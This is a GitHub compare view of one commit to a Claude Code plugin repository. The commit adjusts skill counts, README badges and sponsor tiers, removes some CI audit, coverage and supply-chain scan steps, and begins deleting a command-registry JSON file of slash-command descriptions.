mirror of
https://github.com/affaan-m/everything-claude-code.git
synced 2026-06-11 02:33:10 +08:00
Compare commits
1 Commits
1c079908e2
...
pr-1899
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2707ef2eb2 |
@@ -11,7 +11,7 @@
|
||||
{
|
||||
"name": "ecc",
|
||||
"source": "./",
|
||||
"description": "The most comprehensive Claude Code plugin — 60 agents, 229 skills, 75 legacy command shims, selective install profiles, and production-ready hooks for TDD, security scanning, code review, and continuous learning",
|
||||
"description": "The most comprehensive Claude Code plugin — 60 agents, 228 skills, 75 legacy command shims, selective install profiles, and production-ready hooks for TDD, security scanning, code review, and continuous learning",
|
||||
"version": "2.0.0-rc.1",
|
||||
"author": {
|
||||
"name": "Affaan Mustafa",
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
{
|
||||
"name": "ecc",
|
||||
"version": "2.0.0-rc.1",
|
||||
"description": "Battle-tested Claude Code plugin for engineering teams — 60 agents, 229 skills, 75 legacy command shims, production-ready hooks, and selective install workflows evolved through continuous real-world use",
|
||||
"description": "Battle-tested Claude Code plugin for engineering teams — 60 agents, 228 skills, 75 legacy command shims, production-ready hooks, and selective install workflows evolved through continuous real-world use",
|
||||
"author": {
|
||||
"name": "Affaan Mustafa",
|
||||
"url": "https://x.com/affaanmustafa"
|
||||
|
||||
38
.github/workflows/ci.yml
vendored
38
.github/workflows/ci.yml
vendored
@@ -220,10 +220,6 @@ jobs:
|
||||
run: node scripts/ci/catalog.js --text
|
||||
continue-on-error: false
|
||||
|
||||
- name: Validate command registry
|
||||
run: npm run command-registry:check
|
||||
continue-on-error: false
|
||||
|
||||
- name: Check unicode safety
|
||||
run: node scripts/ci/check-unicode-safety.js
|
||||
continue-on-error: false
|
||||
@@ -246,43 +242,11 @@ jobs:
|
||||
with:
|
||||
node-version: '20.x'
|
||||
|
||||
- name: Install audit dependencies
|
||||
run: npm ci --ignore-scripts
|
||||
|
||||
- name: Run npm audit
|
||||
run: |
|
||||
npm audit signatures
|
||||
npm audit --audit-level=high
|
||||
|
||||
- name: Run supply-chain IOC scan
|
||||
run: npm run security:ioc-scan
|
||||
|
||||
coverage:
|
||||
name: Coverage
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 10
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6.3.0
|
||||
with:
|
||||
node-version: '20.x'
|
||||
|
||||
- name: Install dependencies
|
||||
run: npm ci --ignore-scripts
|
||||
|
||||
- name: Run coverage
|
||||
run: npm run coverage
|
||||
|
||||
- name: Upload coverage report
|
||||
if: always()
|
||||
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
|
||||
with:
|
||||
name: coverage-ubuntu-node20-npm
|
||||
path: coverage/
|
||||
continue-on-error: true # Allows PR to proceed, but marks job as failed if vulnerabilities found
|
||||
|
||||
lint:
|
||||
name: Lint
|
||||
|
||||
3
.github/workflows/release.yml
vendored
3
.github/workflows/release.yml
vendored
@@ -29,9 +29,6 @@ jobs:
|
||||
- name: Install dependencies
|
||||
run: npm ci --ignore-scripts
|
||||
|
||||
- name: Run supply-chain IOC scan
|
||||
run: npm run security:ioc-scan
|
||||
|
||||
- name: Verify OpenCode package payload
|
||||
run: node tests/scripts/build-opencode.test.js
|
||||
|
||||
|
||||
3
.github/workflows/reusable-release.yml
vendored
3
.github/workflows/reusable-release.yml
vendored
@@ -53,9 +53,6 @@ jobs:
|
||||
- name: Install dependencies
|
||||
run: npm ci --ignore-scripts
|
||||
|
||||
- name: Run supply-chain IOC scan
|
||||
run: npm run security:ioc-scan
|
||||
|
||||
- name: Verify OpenCode package payload
|
||||
run: node tests/scripts/build-opencode.test.js
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Everything Claude Code (ECC) — Agent Instructions
|
||||
|
||||
This is a **production-ready AI coding plugin** providing 60 specialized agents, 229 skills, 75 commands, and automated hook workflows for software development.
|
||||
This is a **production-ready AI coding plugin** providing 60 specialized agents, 228 skills, 75 commands, and automated hook workflows for software development.
|
||||
|
||||
**Version:** 2.0.0-rc.1
|
||||
|
||||
@@ -150,7 +150,7 @@ Troubleshoot failures: check test isolation → verify mocks → fix implementat
|
||||
|
||||
```
|
||||
agents/ — 60 specialized subagents
|
||||
skills/ — 229 workflow skills and domain knowledge
|
||||
skills/ — 228 workflow skills and domain knowledge
|
||||
commands/ — 75 slash commands
|
||||
hooks/ — Trigger-based automations
|
||||
rules/ — Always-follow guidelines (common + per-language)
|
||||
|
||||
45
README.md
45
README.md
@@ -19,7 +19,7 @@
|
||||

|
||||

|
||||
|
||||
> **182K+ stars** | **28K+ forks** | **170+ contributors** | **12+ language ecosystems** | **Anthropic Hackathon Winner**
|
||||
> **140K+ stars** | **21K+ forks** | **170+ contributors** | **12+ language ecosystems** | **Anthropic Hackathon Winner**
|
||||
|
||||
---
|
||||
|
||||
@@ -42,41 +42,6 @@ Works across **Claude Code**, **Codex**, **Cursor**, **OpenCode**, **Gemini**, *
|
||||
|
||||
ECC v2.0.0-rc.1 adds the public Hermes operator story on top of that reusable layer: start with the [Hermes setup guide](docs/HERMES-SETUP.md), then review the [rc.1 release notes](docs/releases/2.0.0-rc.1/release-notes.md) and [cross-harness architecture](docs/architecture/cross-harness.md).
|
||||
|
||||
|
||||
---
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td width="25%" align="center">
|
||||
<a href="https://ecc.tools/pricing">
|
||||
<strong> ECC Pro</strong><br />
|
||||
<sub>Private repos · GitHub App · $19/seat/mo</sub>
|
||||
</a>
|
||||
</td>
|
||||
<td width="25%" align="center">
|
||||
<a href="https://github.com/sponsors/affaan-m">
|
||||
<strong> Sponsor</strong><br />
|
||||
<sub>Fund the OSS · From $5/mo</sub>
|
||||
</a>
|
||||
</td>
|
||||
<td width="25%" align="center">
|
||||
<a href="https://github.com/affaan-m/everything-claude-code/discussions">
|
||||
<strong>Community</strong>
|
||||
<br />
|
||||
<sub>Discussions · Q&A · Show & Tell</sub>
|
||||
</a>
|
||||
</td>
|
||||
<td width="25%" align="center">
|
||||
<a href="https://github.com/apps/ecc-tools">
|
||||
<strong> GitHub App</strong><br />
|
||||
<sub>Install · PR audits · Free tier</sub>
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<sub>**OSS stays free.** This repo is MIT-licensed forever. ECC Pro is the hosted GitHub App for private repos. <a href="https://github.com/sponsors/affaan-m">Sponsors</a> and <a href="https://ecc.tools/pricing">Pro subscribers</a> fund the work — that's why a single maintainer ships weekly across 7 harnesses.</sub>
|
||||
|
||||
---
|
||||
|
||||
## The Guides
|
||||
@@ -124,7 +89,7 @@ This repo is the raw code only. The guides explain everything.
|
||||
### v2.0.0-rc.1 — Surface Refresh, Operator Workflows, and ECC 2.0 Alpha (Apr 2026)
|
||||
|
||||
- **Dashboard GUI** — New Tkinter-based desktop application (`ecc_dashboard.py` or `npm run dashboard`) with dark/light theme toggle, font customization, and project logo in header and taskbar.
|
||||
- **Public surface synced to the live repo** — metadata, catalog counts, plugin manifests, and install-facing docs now match the actual OSS surface: 60 agents, 229 skills, and 75 legacy command shims.
|
||||
- **Public surface synced to the live repo** — metadata, catalog counts, plugin manifests, and install-facing docs now match the actual OSS surface: 55 agents, 208 skills, and 72 legacy command shims.
|
||||
- **Operator and outbound workflow expansion** — `brand-voice`, `social-graph-ranker`, `connections-optimizer`, `customer-billing-ops`, `ecc-tools-cost-audit`, `google-workspace-ops`, `project-flow-ops`, and `workspace-surface-audit` round out the operator lane.
|
||||
- **Media and launch tooling** — `manim-video`, `remotion-video-creation`, and upgraded social publishing surfaces make technical explainers and launch content part of the same system.
|
||||
- **Framework and product surface growth** — `nestjs-patterns`, richer Codex/OpenCode install surfaces, and expanded cross-harness packaging keep the repo usable beyond Claude Code alone.
|
||||
@@ -393,7 +358,7 @@ If you stacked methods, clean up in this order:
|
||||
/plugin list ecc@ecc
|
||||
```
|
||||
|
||||
**That's it!** You now have access to 60 agents, 229 skills, and 75 legacy command shims.
|
||||
**That's it!** You now have access to 60 agents, 228 skills, and 75 legacy command shims.
|
||||
|
||||
### Dashboard GUI
|
||||
|
||||
@@ -1398,7 +1363,7 @@ The configuration is automatically detected from `.opencode/opencode.json`.
|
||||
|---------|-------------|----------|--------|
|
||||
| Agents | PASS: 60 agents | PASS: 12 agents | **Claude Code leads** |
|
||||
| Commands | PASS: 75 commands | PASS: 35 commands | **Claude Code leads** |
|
||||
| Skills | PASS: 229 skills | PASS: 37 skills | **Claude Code leads** |
|
||||
| Skills | PASS: 228 skills | PASS: 37 skills | **Claude Code leads** |
|
||||
| Hooks | PASS: 8 event types | PASS: 11 events | **OpenCode has more!** |
|
||||
| Rules | PASS: 29 rules | PASS: 13 instructions | **Claude Code leads** |
|
||||
| MCP Servers | PASS: 14 servers | PASS: Full | **Full parity** |
|
||||
@@ -1560,7 +1525,7 @@ ECC is the **first plugin to maximize every major AI coding tool**. Here's how e
|
||||
|---------|------------|------------|-----------|----------|----------------|
|
||||
| **Agents** | 60 | Shared (AGENTS.md) | Shared (AGENTS.md) | 12 | N/A |
|
||||
| **Commands** | 75 | Shared | Instruction-based | 35 | 6 prompts |
|
||||
| **Skills** | 229 | Shared | 10 (native format) | 37 | Via instructions |
|
||||
| **Skills** | 228 | Shared | 10 (native format) | 37 | Via instructions |
|
||||
| **Hook Events** | 8 types | 15 types | None yet | 11 types | None |
|
||||
| **Hook Scripts** | 20+ scripts | 16 scripts (DRY adapter) | N/A | Plugin hooks | N/A |
|
||||
| **Rules** | 34 (common + lang) | 34 (YAML frontmatter) | Instruction-based | 13 instructions | 1 always-on file |
|
||||
|
||||
@@ -160,7 +160,7 @@ Copy-Item -Recurse rules/typescript "$HOME/.claude/rules/"
|
||||
/plugin list ecc@ecc
|
||||
```
|
||||
|
||||
**完成!** 你现在可以使用 60 个代理、229 个技能和 75 个命令。
|
||||
**完成!** 你现在可以使用 60 个代理、228 个技能和 75 个命令。
|
||||
|
||||
### multi-* 命令需要额外配置
|
||||
|
||||
|
||||
93
SPONSORS.md
93
SPONSORS.md
@@ -1,76 +1,59 @@
|
||||
# Sponsors
|
||||
|
||||
Thank you to everyone funding ECC's open-source work. Your sponsorship is what lets the OSS layer stay free while the GitHub App, hosted security scans, and continuous improvements ship every week.
|
||||
Thank you to everyone who sponsors this project! Your support keeps the ECC ecosystem growing.
|
||||
|
||||
## Enterprise Sponsors — $2,500/mo
|
||||
## Enterprise Sponsors
|
||||
|
||||
*Become an [Enterprise sponsor](https://github.com/sponsors/affaan-m) to be featured here.*
|
||||
*Become an [Enterprise sponsor](https://github.com/sponsors/affaan-m) to be featured here*
|
||||
|
||||
## Business Sponsors — $500/mo
|
||||
## Business Sponsors
|
||||
|
||||
| Sponsor | Logo | Since |
|
||||
|---------|------|-------|
|
||||
| [**CodeRabbit**](https://coderabbit.ai) | <img src="https://avatars.githubusercontent.com/u/132028505?s=120" width="60" alt="CodeRabbit" /> | 2026 |
|
||||
*Become a [Business sponsor](https://github.com/sponsors/affaan-m) to be featured here*
|
||||
|
||||
*[Become a Business sponsor](https://github.com/sponsors/affaan-m) to be featured here with logo placement in the main README hero and a quarterly case study.*
|
||||
## Team Sponsors
|
||||
|
||||
## Team Sponsors — $200/mo
|
||||
*Become a [Team sponsor](https://github.com/sponsors/affaan-m) to be featured here*
|
||||
|
||||
| Sponsor | Since |
|
||||
|---------|-------|
|
||||
| [Mike Morgan](https://github.com/mikejmorgan-ai) | 2026 |
|
||||
## Individual Sponsors
|
||||
|
||||
*[Become a Team sponsor](https://github.com/sponsors/affaan-m) to get small logo placement and 5 ECC Pro seats.*
|
||||
|
||||
## Pro Sponsors — $50/mo
|
||||
|
||||
*[Become a Pro sponsor](https://github.com/sponsors/affaan-m) to be listed here with your name in the main README sponsor row.*
|
||||
|
||||
## Builder Sponsors — $25/mo
|
||||
|
||||
- @jasonwu513 (grandfathered at $10)
|
||||
- @1anter (grandfathered at $10)
|
||||
- @massimotodaro (grandfathered at $10)
|
||||
- @meadmccabe (grandfathered at $10)
|
||||
|
||||
*[Become a Builder sponsor](https://github.com/sponsors/affaan-m) to support the project and get your name in this list + a private monthly progress note.*
|
||||
|
||||
## Supporters — $5/mo
|
||||
|
||||
*[Become a Supporter](https://github.com/sponsors/affaan-m) to back the project with a profile badge and a thank-you in our release notes.*
|
||||
|
||||
---
|
||||
|
||||
## Sponsorship Tiers
|
||||
|
||||
| Tier | Monthly | Perks |
|
||||
|------|--------:|-------|
|
||||
| Supporter | $5 | Sponsor badge on profile, thank-you in release notes |
|
||||
| Builder | $25 | Above + name in SPONSORS.md + private monthly progress note |
|
||||
| Pro Sponsor | $50 | Above + name in main README + 1 quarterly roadmap vote |
|
||||
| Team | $200 | Above + small org logo in README + 5 ECC Pro seats |
|
||||
| Business | $500 | Above + featured logo in README hero + quarterly case study + Discord sponsors-lounge access |
|
||||
| Enterprise | $2,500 | Above + unlimited Pro seats + 30 min/mo founder time + SLA + dedicated channel |
|
||||
|
||||
[**Become a Sponsor →**](https://github.com/sponsors/affaan-m)
|
||||
|
||||
For corporate sponsorship inquiries, custom partnerships, or PR integrations, email **affaan@ecc.tools** with your company name and intended tier. We'll move fast — most agreements close within 48 hours.
|
||||
*Become a [sponsor](https://github.com/sponsors/affaan-m) to be listed here*
|
||||
|
||||
---
|
||||
|
||||
## Why Sponsor?
|
||||
|
||||
Your sponsorship directly funds:
|
||||
Your sponsorship helps:
|
||||
|
||||
- **OSS work that stays free** — the core repo, AgentShield, install scripts, and skills library remain MIT
|
||||
- **Weekly releases** — full-time work on the harness, not a side project
|
||||
- **Independent maintenance** — no acquisition pressure, no rug pulls, no enshittification
|
||||
- **Sponsor-driven roadmap** — Pro+ sponsors vote on direction, Business+ get case studies and integration support
|
||||
- **Ship faster** — More time dedicated to building tools and features
|
||||
- **Keep it free** — Premium features fund the free tier for everyone
|
||||
- **Better support** — Sponsors get priority responses
|
||||
- **Shape the roadmap** — Pro+ sponsors vote on features
|
||||
|
||||
## Existing Sponsors Are Grandfathered
|
||||
## Sponsor Readiness Signals
|
||||
|
||||
If you sponsored before May 2026, you keep your original perks at your original price. New tiers apply to new sponsors only.
|
||||
Use these proof points in sponsor conversations:
|
||||
|
||||
- Live npm install/download metrics for `ecc-universal` and `ecc-agentshield`
|
||||
- GitHub App distribution via Marketplace installs
|
||||
- Public adoption signals: stars, forks, contributors, release cadence
|
||||
- Cross-harness support: Claude Code, Cursor, OpenCode, Codex app/CLI
|
||||
|
||||
See [`docs/business/metrics-and-sponsorship.md`](docs/business/metrics-and-sponsorship.md) for a copy/paste metrics pull workflow.
|
||||
|
||||
## Sponsor Tiers
|
||||
|
||||
| Tier | Price | Benefits |
|
||||
|------|-------|----------|
|
||||
| Supporter | $5/mo | Name in README, early access |
|
||||
| Builder | $10/mo | Premium tools access |
|
||||
| Pro | $25/mo | Priority support, office hours |
|
||||
| Team | $100/mo | 5 seats, team configs |
|
||||
| Harness Partner | $200/mo | Monthly roadmap sync, prioritized maintainer feedback, release-note mention |
|
||||
| Business | $500/mo | 25 seats, consulting credit |
|
||||
| Enterprise | $2K/mo | Unlimited seats, custom tools |
|
||||
|
||||
[**Become a Sponsor →**](https://github.com/sponsors/affaan-m)
|
||||
|
||||
---
|
||||
|
||||
*Auto-updated by Hermes on every release. Last sync: 2026-05-14*
|
||||
*Updated automatically. Last sync: February 2026*
|
||||
|
||||
@@ -1,898 +0,0 @@
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"totalCommands": 75,
|
||||
"commands": [
|
||||
{
|
||||
"command": "aside",
|
||||
"description": "Answer a quick side question without interrupting or losing context from the current task. Resume work automatically after answering.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/aside.md"
|
||||
},
|
||||
{
|
||||
"command": "auto-update",
|
||||
"description": "Pull the latest ECC repo changes and reinstall the current managed targets.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/auto-update.md"
|
||||
},
|
||||
{
|
||||
"command": "build-fix",
|
||||
"description": "Detect the project build system and incrementally fix build/type errors with minimal safe changes.",
|
||||
"type": "refactoring",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/build-fix.md"
|
||||
},
|
||||
{
|
||||
"command": "checkpoint",
|
||||
"description": "Create, verify, or list workflow checkpoints after running verification checks.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/checkpoint.md"
|
||||
},
|
||||
{
|
||||
"command": "code-review",
|
||||
"description": "Code review — local uncommitted changes or GitHub PR (pass PR number/URL for PR mode)",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/code-review.md"
|
||||
},
|
||||
{
|
||||
"command": "cost-report",
|
||||
"description": "Generate a local Claude Code cost report from a cost-tracker SQLite database.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/cost-report.md"
|
||||
},
|
||||
{
|
||||
"command": "cpp-build",
|
||||
"description": "Fix C++ build errors, CMake issues, and linker problems incrementally. Invokes the cpp-build-resolver agent for minimal, surgical fixes.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [
|
||||
"cpp-build-resolver"
|
||||
],
|
||||
"allAgents": [
|
||||
"cpp-build-resolver"
|
||||
],
|
||||
"skills": [
|
||||
"cpp-coding-standards"
|
||||
],
|
||||
"path": "commands/cpp-build.md"
|
||||
},
|
||||
{
|
||||
"command": "cpp-review",
|
||||
"description": "Comprehensive C++ code review for memory safety, modern C++ idioms, concurrency, and security. Invokes the cpp-reviewer agent.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [
|
||||
"cpp-reviewer"
|
||||
],
|
||||
"allAgents": [
|
||||
"cpp-reviewer"
|
||||
],
|
||||
"skills": [
|
||||
"cpp-coding-standards",
|
||||
"cpp-testing"
|
||||
],
|
||||
"path": "commands/cpp-review.md"
|
||||
},
|
||||
{
|
||||
"command": "cpp-test",
|
||||
"description": "Enforce TDD workflow for C++. Write GoogleTest tests first, then implement. Verify coverage with gcov/lcov.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [
|
||||
"cpp-testing",
|
||||
"tdd-workflow"
|
||||
],
|
||||
"path": "commands/cpp-test.md"
|
||||
},
|
||||
{
|
||||
"command": "ecc-guide",
|
||||
"description": "Navigate ECC's current agents, skills, commands, hooks, install profiles, and docs from the live repository surface.",
|
||||
"type": "review",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [
|
||||
"ecc-guide",
|
||||
"security-scan"
|
||||
],
|
||||
"path": "commands/ecc-guide.md"
|
||||
},
|
||||
{
|
||||
"command": "evolve",
|
||||
"description": "Analyze instincts and suggest or generate evolved structures",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [
|
||||
"continuous-learning-v2"
|
||||
],
|
||||
"path": "commands/evolve.md"
|
||||
},
|
||||
{
|
||||
"command": "fastapi-review",
|
||||
"description": "Review a FastAPI application for architecture, async correctness, dependency injection, Pydantic schemas, security, performance, and testability.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/fastapi-review.md"
|
||||
},
|
||||
{
|
||||
"command": "feature-dev",
|
||||
"description": "Guided feature development with codebase understanding and architecture focus",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/feature-dev.md"
|
||||
},
|
||||
{
|
||||
"command": "flutter-build",
|
||||
"description": "Fix Dart analyzer errors and Flutter build failures incrementally. Invokes the dart-build-resolver agent for minimal, surgical fixes.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [
|
||||
"dart-build-resolver"
|
||||
],
|
||||
"allAgents": [
|
||||
"dart-build-resolver"
|
||||
],
|
||||
"skills": [
|
||||
"flutter-dart-code-review"
|
||||
],
|
||||
"path": "commands/flutter-build.md"
|
||||
},
|
||||
{
|
||||
"command": "flutter-review",
|
||||
"description": "Review Flutter/Dart code for idiomatic patterns, widget best practices, state management, performance, accessibility, and security. Invokes the flutter-reviewer agent.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [
|
||||
"flutter-reviewer"
|
||||
],
|
||||
"allAgents": [
|
||||
"flutter-reviewer"
|
||||
],
|
||||
"skills": [
|
||||
"flutter-dart-code-review"
|
||||
],
|
||||
"path": "commands/flutter-review.md"
|
||||
},
|
||||
{
|
||||
"command": "flutter-test",
|
||||
"description": "Run Flutter/Dart tests, report failures, and incrementally fix test issues. Covers unit, widget, golden, and integration tests.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [
|
||||
"dart-build-resolver",
|
||||
"flutter-reviewer"
|
||||
],
|
||||
"allAgents": [
|
||||
"dart-build-resolver",
|
||||
"flutter-reviewer"
|
||||
],
|
||||
"skills": [
|
||||
"flutter-dart-code-review"
|
||||
],
|
||||
"path": "commands/flutter-test.md"
|
||||
},
|
||||
{
|
||||
"command": "gan-build",
|
||||
"description": "Run a generator/evaluator build loop for implementation tasks with bounded iterations and scoring.",
|
||||
"type": "orchestration",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/gan-build.md"
|
||||
},
|
||||
{
|
||||
"command": "gan-design",
|
||||
"description": "Run a generator/evaluator design loop for frontend or visual work with bounded iterations and scoring.",
|
||||
"type": "planning",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/gan-design.md"
|
||||
},
|
||||
{
|
||||
"command": "go-build",
|
||||
"description": "Fix Go build errors, go vet warnings, and linter issues incrementally. Invokes the go-build-resolver agent for minimal, surgical fixes.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [
|
||||
"go-build-resolver"
|
||||
],
|
||||
"allAgents": [
|
||||
"go-build-resolver"
|
||||
],
|
||||
"skills": [
|
||||
"golang-patterns"
|
||||
],
|
||||
"path": "commands/go-build.md"
|
||||
},
|
||||
{
|
||||
"command": "go-review",
|
||||
"description": "Comprehensive Go code review for idiomatic patterns, concurrency safety, error handling, and security. Invokes the go-reviewer agent.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [
|
||||
"go-reviewer"
|
||||
],
|
||||
"allAgents": [
|
||||
"go-reviewer"
|
||||
],
|
||||
"skills": [
|
||||
"golang-patterns",
|
||||
"golang-testing"
|
||||
],
|
||||
"path": "commands/go-review.md"
|
||||
},
|
||||
{
|
||||
"command": "go-test",
|
||||
"description": "Enforce TDD workflow for Go. Write table-driven tests first, then implement. Verify 80%+ coverage with go test -cover.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [
|
||||
"golang-testing",
|
||||
"tdd-workflow"
|
||||
],
|
||||
"path": "commands/go-test.md"
|
||||
},
|
||||
{
|
||||
"command": "gradle-build",
|
||||
"description": "Fix Gradle build errors for Android and KMP projects",
|
||||
"type": "build",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/gradle-build.md"
|
||||
},
|
||||
{
|
||||
"command": "harness-audit",
|
||||
"description": "Run a deterministic repository harness audit and return a prioritized scorecard.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/harness-audit.md"
|
||||
},
|
||||
{
|
||||
"command": "hookify-configure",
|
||||
"description": "Enable or disable hookify rules interactively",
|
||||
"type": "general",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/hookify-configure.md"
|
||||
},
|
||||
{
|
||||
"command": "hookify-help",
|
||||
"description": "Get help with the hookify system",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/hookify-help.md"
|
||||
},
|
||||
{
|
||||
"command": "hookify-list",
|
||||
"description": "List all configured hookify rules",
|
||||
"type": "general",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/hookify-list.md"
|
||||
},
|
||||
{
|
||||
"command": "hookify",
|
||||
"description": "Create hooks to prevent unwanted behaviors from conversation analysis or explicit instructions",
|
||||
"type": "general",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/hookify.md"
|
||||
},
|
||||
{
|
||||
"command": "instinct-export",
|
||||
"description": "Export instincts from project/global scope to a file",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/instinct-export.md"
|
||||
},
|
||||
{
|
||||
"command": "instinct-import",
|
||||
"description": "Import instincts from file or URL into project/global scope",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [
|
||||
"continuous-learning-v2"
|
||||
],
|
||||
"path": "commands/instinct-import.md"
|
||||
},
|
||||
{
|
||||
"command": "instinct-status",
|
||||
"description": "Show learned instincts (project + global) with confidence",
|
||||
"type": "review",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [
|
||||
"continuous-learning-v2"
|
||||
],
|
||||
"path": "commands/instinct-status.md"
|
||||
},
|
||||
{
|
||||
"command": "jira",
|
||||
"description": "Retrieve a Jira ticket, analyze requirements, update status, or add comments. Uses the jira-integration skill and MCP or REST API.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [
|
||||
"jira-integration"
|
||||
],
|
||||
"path": "commands/jira.md"
|
||||
},
|
||||
{
|
||||
"command": "kotlin-build",
|
||||
"description": "Fix Kotlin/Gradle build errors, compiler warnings, and dependency issues incrementally. Invokes the kotlin-build-resolver agent for minimal, surgical fixes.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [
|
||||
"kotlin-build-resolver"
|
||||
],
|
||||
"allAgents": [
|
||||
"kotlin-build-resolver"
|
||||
],
|
||||
"skills": [
|
||||
"kotlin-patterns"
|
||||
],
|
||||
"path": "commands/kotlin-build.md"
|
||||
},
|
||||
{
|
||||
"command": "kotlin-review",
|
||||
"description": "Comprehensive Kotlin code review for idiomatic patterns, null safety, coroutine safety, and security. Invokes the kotlin-reviewer agent.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [
|
||||
"kotlin-reviewer"
|
||||
],
|
||||
"allAgents": [
|
||||
"kotlin-reviewer"
|
||||
],
|
||||
"skills": [
|
||||
"kotlin-patterns",
|
||||
"kotlin-testing"
|
||||
],
|
||||
"path": "commands/kotlin-review.md"
|
||||
},
|
||||
{
|
||||
"command": "kotlin-test",
|
||||
"description": "Enforce TDD workflow for Kotlin. Write Kotest tests first, then implement. Verify 80%+ coverage with Kover.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [
|
||||
"kotlin-testing",
|
||||
"tdd-workflow"
|
||||
],
|
||||
"path": "commands/kotlin-test.md"
|
||||
},
|
||||
{
|
||||
"command": "learn-eval",
|
||||
"description": "Extract reusable patterns from the session, self-evaluate quality before saving, and determine the right save location (Global vs Project).",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/learn-eval.md"
|
||||
},
|
||||
{
|
||||
"command": "learn",
|
||||
"description": "Extract reusable patterns from the current session and save them as candidate skills or guidance.",
|
||||
"type": "review",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/learn.md"
|
||||
},
|
||||
{
|
||||
"command": "loop-start",
|
||||
"description": "Start a managed autonomous loop pattern with safety defaults and explicit stop conditions.",
|
||||
"type": "testing",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/loop-start.md"
|
||||
},
|
||||
{
|
||||
"command": "loop-status",
|
||||
"description": "Inspect active loop state, progress, failure signals, and recommended intervention.",
|
||||
"type": "general",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/loop-status.md"
|
||||
},
|
||||
{
|
||||
"command": "model-route",
|
||||
"description": "Recommend the best model tier for the current task based on complexity, risk, and budget.",
|
||||
"type": "review",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/model-route.md"
|
||||
},
|
||||
{
|
||||
"command": "multi-backend",
|
||||
"description": "Run a backend-focused multi-model workflow for APIs, algorithms, data, and business logic.",
|
||||
"type": "orchestration",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
"path": "commands/multi-backend.md"
|
||||
},
|
||||
{
|
||||
"command": "multi-execute",
|
||||
"description": "Execute a multi-model implementation plan while preserving Claude as the only filesystem writer.",
|
||||
"type": "orchestration",
|
||||
"primaryAgents": [],
|
||||
"allAgents": [],
|
||||
"skills": [],
|
||||
